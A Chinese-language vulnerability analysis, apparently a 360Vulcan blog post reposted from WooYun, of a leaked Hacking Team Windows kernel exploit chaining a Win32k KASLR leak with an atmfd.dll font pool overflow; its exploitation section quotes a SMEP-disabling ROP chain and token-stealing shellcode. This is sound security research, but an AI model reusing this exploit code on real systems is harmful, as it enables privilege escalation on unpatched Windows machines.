Hacking Team攻擊程式碼分析Part5 Adobe Font Driver核心許可權提升漏洞第二彈+Win32k KALSR繞過漏洞

wyzsk發表於2020-08-19
作者: 360安全衛士 · 2015/07/14 10:32

作者:360Vulcan Team成員: MJ0011、pgboy

0x00 前言


繼360Vulcan上週分析了Hacking Team洩露資訊中曝光的三個Flash漏洞和一個Adobe Font Driver核心漏洞後(連結見文後)。 Hacking Team洩露資訊中仍在不斷被發現存在新的攻擊程式碼和0day漏洞。7月12日,Twitter上安全研究人員@vlad902公佈了Hacking Team的郵件(https://wikileaks.org/hackingteam/emails/emailid/974752)中可能的一處Windows許可權提升漏洞,並將其攻擊程式碼上傳到Github上(https://github.com/vlad902/hacking-team-windows-kernel-lpe)。

經過我們的分析,該攻擊程式碼中包含了兩個Windows核心模式驅動的0day漏洞,其中一個是針對Windows核心驅動Win32k.sys的一處安全特性(KASLR)的繞過漏洞,另一個是針對Adobe字型驅動(atmfd.dll)的一處核心池溢位引發的核心程式碼執行漏洞。

0x01 漏洞原理分析:


透過簡單瀏覽攻擊程式碼,我們知道攻擊程式碼運用了一處Win32k.sys中的KASLR繞過漏洞獲得Win32k的基地,並組織ROP鏈,同時,載入一個字型檔案(font-data.bin)來利用字型驅動漏洞,觸發ROP鏈,最終完成攻擊。

0x02 Win32k.sys KASLR繞過漏洞


在Windows8.1以上的系統上,微軟增強了針對KALSR的緩和能力,對於低完整性級別及以下的程式,禁止獲得系統核心模組的地址資訊,來緩和核心漏洞針對IE沙盒等安全機制的攻擊。在360Vulcan Team 5月的部落格《談談15年5月修復的三個0day》(http://blogs.360.cn/blog/fixed_three_0days_in_may/)中,我們比較詳細地介紹了這類問題的的背景,以及一個和本次漏洞類似的CNG.sys KASLR繞過漏洞CVE-2015-1674。 這裡Hacking Team所使用的是一個win32k處理字型資訊時的棧未初始化導致的資訊洩露漏洞。

我們結合原始碼的win32k_infoleak()函式中可以瞭解, win32k用於獲取文字字型資訊的核心呼叫NtGdiGetTextMetricsW->GreGetTextMetrics->bGetTextMetrics會針對DC物件返回一個內部結構到存放tagTEXTMETRIC結構的輸出快取中。

透過分析bGetTextMetrics的實現我們可以得知,該函式首先檢查字型物件中用於快取tagTEXTMETRIC結構的一處指標是否為空,如果不為空,就直接使用這裡儲存的字型資訊,這樣可以加快頻繁呼叫的GetTextMetricsW的效能。

如果快取的結構為空,那麼該函式會呼叫bIFIMetricsToTextMetricW來獲取字型資訊,並且使用PALLOCMEM2分配一塊快取結構記憶體,儲存到字型物件中,以供下次查詢加快速度。

這套邏輯在複製0x38偏移時,存在一處對齊引發的棧資訊洩露問題,我們來看MSDN中對於tagTEXTMETRIC的定義(https://msdn.microsoft.com/en-us/library/aa911401.aspx),可以看到 0x38偏移就是這個資料結構的最後一個成員tmCharSet,它的型別是BYTE,長度1個位元組,而這裡資料結構為了對齊,會補充7個位元組,以便實現8位元組對齊(x86系統上補充3個位元組),就是這個資料結構對齊問題引發了這裡的資訊洩露。

bIFIMetricsToTextMetricW函式中,會使用外部bGetTextMetrics提供的棧空間來儲存獲得的tagTEXTMETRIC結構,在儲存前,函式並沒有將棧中資料全部初始化,因此補齊的7個位元組仍是其他函式遺留在棧空間中的,在後面複製到分配的用於快取的堆記憶體中時,也將這部分資料一起復制了過去。

這就導致之前在棧中存放的其它函式的資訊,被存入快取的tagTEXTMETRIC結構中, 下次程式再透過NtGdiGetTextMetricsW獲取時,就會獲取到這些資訊,如果棧中的資訊恰好是核心地址資訊,就會導致核心模組的資訊洩露。

經過除錯發現,目前最新補丁的Windows8.1 x64上,在首次呼叫並儲存快取結構時,這裡的棧位置恰好儲存了win32k!SetOrCreateRectRgnIndirectPublic+0x42函式的一處返回地址, 由於這裡只有7個位元組的地址資訊,低8位會被修改為tmCharSet的數值(一般是0),因此最後透過NtGdiGetTextMetricsW獲取的,會是再往上一點的RGNOBJ::UpdateUserRgn這個函式結尾處的垃圾對齊空間的位置。

這個漏洞顯然遠不如之前我們提到的CNG.SYS的洩露漏洞好用:

首先,棧上的資訊可能因為呼叫路徑或其他原因改變而不穩定,經過我們測試,這裡的棧位置在某些呼叫路徑下,並不是返回地址,而是其他的垃圾資料,這就會直接導致這個漏洞失效; 其次,Win32k的版本過多程式碼變動複雜,這個RGNOBJ::UpdateUserRgn的位置隨時在變動,在低完整性級別下攻擊程式碼還可以透過識別win32k.sys的版本做調整,在AppContainers(EPM)或Untrust級別下,就無法做到這點,只能硬猜,這也是為什麼目前Github上的攻擊程式碼不能在最新的全補丁Windows 8.1 x64上工作的原因:這個函式的位置發生了變動。

鑑於目前看到的這個攻擊程式碼同上一個Hacking Team洩露的Windows核心許可權提升漏洞的已經成熟“商用”的攻擊程式碼不同,還只是出於演示目的的、存在很多硬編碼的示例程式碼,因此很可能以後攻擊程式碼的作者會使用更穩定、更好用的地址洩露漏洞來替換這個漏洞。畢竟,微軟才剛剛意識到這類問題的嚴重性,核心中還存在很多類似的漏洞和問題。

#0x03 Adobe Font Driver(atmfd.dll)核心池溢位漏洞


接下來我們來分析這個攻擊程式碼中的重頭戲:字型漏洞, 我們可以看到,在攻擊程式碼中使用了AddFontMemResourceEx函式來載入了font-data.bin這個OTF字型檔案,我們嘗試在Windows 7系統上將這個檔案改名為.otf檔案(Explorer在渲染這個檔案時也會載入它),系統立即藍色畫面崩潰,但是在Windows8.1 x64系統上,則不會出現這個情況,是不是Windows 8.1中已經修補了這個漏洞?

我們再進一步驗證,在Windows7系統上藍色畫面崩潰時,我們看到藍色畫面的程式碼是0x19 BAD_POOL_HEADER,看上去這似乎是一個Windows核心池的溢位漏洞,那麼是不是在Windows 8.1上這個漏洞所溢位的核心池恰好沒有被用到而導致不容易觸發崩潰呢?

我們開啟Driver Verifier工具,針對win32k.sys開啟Speical Pool功能。關於驅動校驗器的這個功能,可以參考微軟MSDN的介紹:https://msdn.microsoft.com/en-us/library/windows/hardware/ff551832(v=vs.85).aspx,這個功能類似使用者模式中的Page Heap功能,會將指定模組分配的Windows核心池放入特殊的記憶體位置,使得這類核心池的溢位在第一時間被發現,開啟了這個功能後,我們如願地在Windows 8.1 x64上100%觸發這個漏洞的藍色畫面崩潰。

我們可以看到這個崩潰的棧(這裡是在桌面瀏覽字型檔案觸發,因此是 NtGdiAddFontResourceW函式)

atmfd
….
win32k!atmfdLoadFontFile
win32k!PDEVOBJ::LoadFontFile
win32k!vLoadFontFileView
win32k!PUBLIC_PFTOBJ::bLoadFonts
win32k!GreAddFontResourceWInternal
win32k!NtGdiAddFontResourceW

這裡可以看得很清楚,這是在win32k.sys驅動載入這個字型檔案,在PUBLIC_PFTOBJ::bLoadFonts函式中,win32k.sys會將字型對映到核心中,進行一些字型物件的處理後,會呼叫這個字型對應的字型驅動,這裡的這個adobe OTF字型最終就觸發了atmfdLoadFontFile這個函式,這個函式atmfd.dll會輸出的載入字型介面的封裝,最後就進入atmfd.dll的程式碼中執行,實現最終的字型載入過程。

atmfd.dll是Adobe的程式碼編譯的驅動,這裡微軟並沒有給這個驅動提供符號檔案,因此針對它的分析相對困難一些。我們透過分析程式碼的執行流程,結合核心除錯和字型分析工具(如T2F Analyzer),進一步深入分析atmfd.dll中的處理這個字型,最終觸發漏洞的過程(以Windows 8.1 x64上最新補丁的atmfd.dll為例):

  1. 透過win32k!atmfdLoadFontFile進入atmfd中的+0x13DE0位置函式,我們稱其為AtmfdLoadFont,這裡是atmfd.dll中的載入字型介面,會識別字型的格式型別,填充相關的字型結構,並交給下面的進一步載入字型的函式來處理
  2. 透過AtmfdLoadFont進入偏移+0x178F0的函式,我們稱其為AtmfdLoadFontInternal,該函式進一步分析和處理字型的資訊(如字型的檔案時間),並透過EngMapFontFile等函式對映字型檔案到核心,對映完成後,這個函式判斷字型的型別為OTF,接著會進入一個專門處理OTF字型資訊的函式中。
  3. 透過AtmfdLoadFontFileInternal進入偏移+0x17D55的位置,我們稱其為ProcessOTFFontInfo,該函式開始分析字型檔案各個表的內容,接著我們看到有一個專門處理’GPOS‘這個表的FeatureList中標記為”kern”(kerning,用於處理字距)的FeatureTag的FeatureRecord的相關函式。
  4. 進入這個專門處理”kern“的FeatureRecord的函式,偏移+0x23128,我們稱其為ProcessKerningRecord。到了這個函式就進入了這裡比較關鍵和複雜的細節。

這個函式會分析針對GPOS表的FeatureList,找到FreatureTag為”kern”的FeatureRecord,然後檢查其FeatureTable的Lookups,找到有效的Lookups後,該函式開始分析每個Lookups的LookupTable,每個Lookups可以有多個LookupTable,其中每個LookupTable又可以有多個SubTable,根據不同的SubTable的PosFormat,函式會進行不同的處理,其中針對SubTable的PosFormat = 2的情況,會進入一個專門處理這個Format的函式

5.剛才說到當PosFormat= 2 時會進入專門的處理SubTable函式,這裡偏移是0x22A9C,我們稱其為ProcessFormat2SubTable,這裡也就是這個漏洞的本質原因的地方了,在這個函式中,會根據SubTable的Class1Count和Class2Count計算需要的長度,計算的方式是0x20 * ClassXCount = 記憶體長度,即0x20長度一個item,然後分配對應長度的記憶體,接著偏移0x21d08的函式(我們稱其為CopyClassDefData)會呼叫將SubTable的ClassDef1和ClassDef2中的資料複製到這些記憶體中,同時,在這些記憶體的第一個item會複製到一個0x20位元組的特殊資料。

這段邏輯的反編譯程式碼如下:

#!c+
01  Class1DefBuf = AllocMemory(32i64 * (unsigned int)Class1Count, v23, 1, 1);
02    if ( Class1DefBuf )
03    {
04      Class2DefBuf = AllocMemory(32i64 * Class2Count, v24, 1, 1);
05      if ( Class2DefBuf )
06      {
07        Class1DefSrc = *(_BYTE *)(SubTableObject + 9) | (unsigned __int16)(*(_WORD *)(SubTableObject + 8) << 8);
08        LODWORD(v50) = Class1Count;
09        v55 = CopyClassDefData(
10                SubTableObject,
11                Class1DefSrc,
12                TableEnd,
13                GlyphsCount,
14                (__int64)v50,
15                (__int64)arg_40,
16                FirstBuf,
17                Class1DefBuf);
18        if ( v55 == 1 )
19        {
20          v55 = 0;
21          Class2DefSrc = *(_BYTE *)(SubTableObject + 11) | (unsigned __int16)(*(_WORD *)(SubTableObject + 10) << 8);
22          v27 = Class2Count;
23          LODWORD(v50) = Class2Count;
24          v55 = CopyClassDefData(
25                  SubTableObject,
26                  Class2DefSrc,
27                  TableEnd,
28                  GlyphsCount,
29                  (__int64)v50,
30                  (__int64)arg_40,
31                  FirstBuf,
32                  Class2DefBuf);

其中,AllocateMemory(偏移0x28080)是對win32k.sys輸出的EngAllocMem的一個封裝,這也是為什麼我們針對win32k.sys設定校驗器也可以抓到atmfd的核心池溢位的原因: atmfd.dll最終的記憶體分配也是靠win32k.sys(EngAllocMem)實現的。

這裡封裝的AllocateMemory有一個特別的特性,也是造成這個漏洞可以觸發的原因之一:分配記憶體的長度如果=0,這裡並不會失敗,因為這個封裝中永遠會將分配的記憶體長度+8,並將前面兩個DWORD,8個位元組分別填充為:長度 , 和’ebdA'(Adobe的縮寫tag),將實際分配的記憶體位置+8 ,再返回給呼叫者。

也就是說, 當這裡的AllocateMemory邏輯中, Class1Count或Class2Count等於0 ,要求分配0位元組長度的記憶體時,這裡並不會失敗(函式邏輯檢查了記憶體分配失敗的情況),而是繼續執行, 下面的CopyClassDefData函式實際獲得的是一個有效長度為0的快取。 這裡程式碼編寫者沒有檢查或處理Class1Count為0的情況,同時,AllocateMemory又掩蓋了Class1Count為0的這個錯誤,讓函式繼續執行下去,這裡是程式碼編寫者所犯的第一個錯誤。

即使分配了錯誤長度的記憶體,如果後面的複製過程嚴格按照Class1Count來實現,這裡也不會存在問題,但是這裡程式碼編寫者接著犯了第二個錯誤,如剛才上面所說,CopyClassDefData函式會給第一個ClassBuf的item複製一個item大小(0x20)的特殊資料。這裡CopyClassDefData並沒有檢查Class1Count是否為0,就直接將資料複製到目標記憶體的第一個item的位置上,由於複製的大小超過了分配的大小,就自然造成了堆溢位,覆蓋到核心池後面的資料。

我們使用T2F Analyzer可以看到這個漏洞字型的異常資料結構,首先使用T2F Analyzer開啟存在漏洞的字型檔案。

需要注意的是,T2F Analyzer在解析字型的過程後期還是會使用AddFontResouceExA來載入字型到核心,導致直接使用這個工具在沒補丁的系統上開啟漏洞字型檔案會崩潰,這裡簡單使用偵錯程式斷下AddFontResourceExA,阻止載入字型檔案就可以繼續使用它的解析功能了。

首先,我們開啟這個字型檔案,找到Advanced Typography Tables->GPOS Table,開啟FeatureList,可以看到FeatureTag是”kern”的FeatureRecord,這個FeatureRecord的LookupCount = 1 ,它的LookupIndex = 1

enter image description here

我們開啟LookupList,檢視這個Index = 1的Lookup:

enter image description here

正如我們前面推測的,這裡的Class1Count就是=0 , 也就是觸發這個漏洞的根本原因。

0x04 漏洞利用


介紹了Adobe Font Driver的這個核心池溢位漏洞,接下來我們就看看攻擊程式碼是如何利用這個漏洞,最終實現核心程式碼執行,提升許可權的。

在攻擊程式碼中,作者利用了核心的堆風水技術,來確保這個核心池溢位最終覆蓋到我們指定的物件。

首先,攻擊程式碼中會分配大量的(5000個)Accelerator Table物件。這樣做使其後面物件的在一段連續的記憶體。在Windows8 x64上,Accelerator Table物件的大小為0x28。 然後,攻擊程式碼在剛才分配出來的Accelerator Table物件的中間靠後位置(3600-4600)進行釋放。

在釋放了這些Accelerator Table之後,會使用CreateDCompositionHwndTarget建立CHwndTargetProp物件。

CHwndTargetProp物件及其對應的分配、釋放函式CreateDCompositionHwndTarget/DestroyDCompositionHwndTarget是微軟從Windows8開始引入的一套針對視窗的”構圖“物件管理函式,是Windows8以來微軟新的UI系統的一部分,僅提供給一些內部的函式使用,我們在建立這些物件時,還需要建立對應的視窗物件。

作者精心選擇CHwndTargetProp物件的原因是,它和Accelerator Table物件的大小一樣,都是0x28位元組,這樣正好就將剛才釋放的Accelerator Table的記憶體給佔住。

接著,攻擊程式碼再從剛才分配CHwndTargetProp物件的中間位置,釋放指定個數,這樣在Accelerator Table區域中 的CHwndTargetProp區域裡, 再次製造記憶體空洞。

在載入字型的過程中, 分配小記憶體的ClassDefBuf時,就落入設定好的空洞中,接著核心池溢位,就會覆蓋後面CHwndTargetProp的資料內容。

整個核心池的佈局操控過程如下圖所示:

enter image description here

由於Windows8以後微軟已經移除了很多Win32k中的結構資訊,因此CHwndTargetProp的資料結構只能透過猜測來分析,我們使用核心偵錯程式分析一個CHwndTargetProp物件:

kd> dps fffff901443cdf40
fffff901`443cdf40 fffff960`00526d00 win32k!CHwndTargetProp::`vftable’
fffff901`443cdf48 fffff901`4082d9b0
fffff901`443cdf50 00000000`00000000
fffff901`443cdf58 ffffe001`2ed25d60
fffff901`443cdf60 00000000`00000000
fffff901`443cdf68 00000000`00000001

可以看到開頭是一個虛表的地址,我們檢視這個虛表的成員如下:

kd> dps fffff960`00526d00
fffff960`00526d00 fffff960`0031f470 win32k!CHwndTargetProp::Delete
fffff960`00526d08 fffff960`003b1378 win32k!CHwndTargetProp::GetAtom
fffff960`00526d10 48273f8a`8c7ed206
fffff960`00526d18 6cfcae1f`9eaeabb3

前面我們說到,載入字型過程中賦值記憶體可以覆蓋後面的物件,因為我們已經經過了精心的堆佈局,因此我們可以就可以覆蓋特定的CHwndTargetProp的虛表,來實現將其虛表成員函式替換為我們想要執行的函式。 這裡字型中覆蓋的資料內容為固定的0x0000000042005000,那麼透過在這個固定的記憶體位置構架假的虛表,我們就可以獲得執行許可權 我們可以看到,在攻擊程式碼中,在固定位置(PAYLOAD_BASE)分配記憶體,並構建假的虛表的過程:

#!c++
1   #define PAYLOAD_BASE 0x42000000
2    
3   *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <-- RAX [win32k!CHwndTargetProp::Delete]
4   *(ULONGLONG*)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. [win32k!CHwndTargetProp::GetAtom]

CHwndTargetProp的虛表被覆蓋後,攻擊程式碼再呼叫DestroyDCompositionHwndTarget函式來釋放CHwndTargetProp,此時最終呼叫到核心中,就會跳轉到攻擊程式碼已經設定好的虛表函式。

整個過程中,會先呼叫win32k!CHwndTargetProp::GetAtom然後再呼叫win32k!CHwndTargetProp::Delete

總共過程中會有3次呼叫到CHwndTargetProp的虛表函式:

DestroyDCompositionHwndTarget過程:

第一次: win32k!CHwndTargetProp::GetAtom

第二次: win32k!CHwndTargetProp::Delete

DeatoryWindow過程:

第三次:win32k!CHwndTargetProp::Delete

為了繞過Windows8 系統的SMEP保護,這裡虛表函式不能使用位於ring3的ShellCode,因此需要使用win32k.sys中的程式碼片段構建ROP,關閉SMEP, 這也就是為什麼攻擊程式碼中需要利用我們一開始說的win32k.sys的KASLR繞過漏洞: 為了構建這裡所需要的ROP鏈。 整個構建ROP鏈的過程如下:

第一步:獲取ntoskrnl的函式地址,這裡是透過洩露的win32k.sys的地址,硬編碼得到win32k.sys中對ntoskrnl!ExAllocatePoolWithTag的匯入表的地址,然後操作ROP鏈讀取函式地址:

#!c++
1   *(ULONGLONG*)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab;   // pop rax # ret  (RAX is source for our write)
2   *(ULONGLONG*)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220;  // pop into rax   (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
3   *(ULONGLONG*)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156;   // pop rcx # ret  (RCX is destination for our write)
4   *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100;         // pop into rcx   (memory to write leaked address)
5   *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f;   // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])

第二步:因為後面的流程還會調到虛表,必須先修復棧,讓第二次呼叫函式正常返回。

#!c++
01      *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db;    // pop rbx # ret
02       *(ULONGLONG*)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100;        // this will clobber the existing vTable object pointer (RBX) ---------------------
03                                                                        //                                                                                |
04  // Setup the new fake vTable at 0x42005100. We don't do anything interesting                                                                            |
05  // with the second call. We just want it to return nicely.                                                                                              |
06       *(ULONGLONG*)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110;        // double-dereference to get to gadget                          (actual ROP chain |
07       *(ULONGLONG*)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110;        // (arbitrary pointer to pointer)                                 continues here) |
08       *(ULONGLONG*)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314;   // (`RET` gadget)                                                                 |
09                                                                        //                                                                                |
10  // Resume execution. Restore original stack pointer.                                                                                                    |
11       *(ULONGLONG*)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e;   // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
12       *(ULONGLONG*)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156;   // pop rcx # ret
13       *(ULONGLONG*)(PAYLOAD_BASE + 0x5058) = 0x8;                          // pop into rcx
14       *(ULONGLONG*)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f;   // add rax, rcx # ret (adjust the stack pointer)
15       *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1;   // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret

第三步,根據ntoskrnl!ExAllocatePoolWithTag的地址硬編碼計算出ntoskrnl.exe的基址

#!c++
1   ExAllocatePoolWithTag_offset = 0x2a3a50;
2       nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) - ExAllocatePoolWithTag_offset;

第四步,找到ntoskrnl的基址,是為了利用其中操作cr4 SMEP位的程式碼,關閉SMEP,所以這步就是構建ROP鏈,關閉SMEP,這裡的rop鏈是透過DestroyWindow觸發的

#!c++ 
01  *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a;  // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
02      *(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141;                   // filler
03      *(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141;                   // filler
04      *(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141;                   // filler
05      *(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141;                   // filler
06      *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab;   // pop rax # ret
07      *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = 0x406f8;                      // pop into rax, cr4 value
08      *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc;      // mov cr4, rax # add rsp, 0x28 # ret  (SMEP disabling gadget)
09      *(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141;                   // filler
10      *(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141;                   // filler
11      *(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141;                   // filler
12      *(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141;                   // filler
13      *(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141;                   // filler

1   第五步,這裡SMEP已經關閉,直接跳轉到使用者模式的ShellCode,並且真的去刪除CHwndTargetProp物件
1   *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE;                 // return to userland and win!
2   *(ULONGLONG*)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010;  // CHwndTargetProp::Delete(void)

第六步,最後執行使用者模式ShellCode,這裡就簡單了,攻擊程式碼中的ShellCode是一個簡單的替換本程式token為winlogon的System Token的程式碼:

#!c++
01  char sc[] = {
02      '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00',                                  // mov r15, [r11+0x168], save return address of kernel stack
03      '\x41', '\x51',                                                                          // push r9 save regs
04      '\x41', '\x52',                                                                          // push r10
05      '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00',                  // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
06      '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00',                                  // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
07      '\x4D', '\x89', '\xCA',                                                                  // mov r10, r9 save current eprocess
08      '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00',                                  // mov r9, [r9+0x240] $a, get blink
09      '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00',                                  // sub r9, 0x238 => _KPROCESS
10      '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C',  // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
11      '\x75', '\xe5',                                                                          // jnz $a no? then keep searching!
12      '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00',                                  // mov r12, [r9+0x2e0] get pid
13      '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42',                                  // mov rax, 0x42001000
14      '\x4C', '\x89', '\x20',                                                                  // mov [rax], r12 save pid for use later
15      '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00',                                  // mov r9, [r9+0x348] get token
16                 '\x49', '\x83', '\xE1', '\xF0',                                                                                                                                         // and r9, 0xfffffffffffffff0 get SYSTEM token's address
17                 '\x49', '\x83', '\x41', '\xD0', '\x0A',                                                                                                                  // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
18      '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00',                                  // mov [r10+0x348], r9 replace our token with system token
19      '\x41', '\x5A',                                                                          // pop r10 restore regs
20      '\x41', '\x59',                                                                          // pop r9
21      '\x41', '\x53',                                                                          // push r11, pointer near to original stack
22      '\x5C',                                                                                  // pop rsp
23      '\x48', '\x81', '\xC4', '\x68', '\x01', '\x00', '\x00',                                  // add rsp, 0x168, restore original kernel rsp
24      '\x4C', '\x89', '\x3C', '\x24',                                                          // mov [rsp], r15, restore original return address
25      '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42',                                  // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
26      0
27  };

0x05 漏洞緩解


近期atmfd字型漏洞氾濫,建議禁用atmfd.dll (直接將其改名即可)。對於Windows 10使用者,可以使用緩和策略阻止非信任字型載入,這個功能在今年1月我們介紹過(http://blogs.360.cn/blog/windows10_font_security_mitigations/),微軟5月將其文件化:https://msdn.microsoft.com/en-us/library/dn985836%28v=vs.85%29.aspx

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章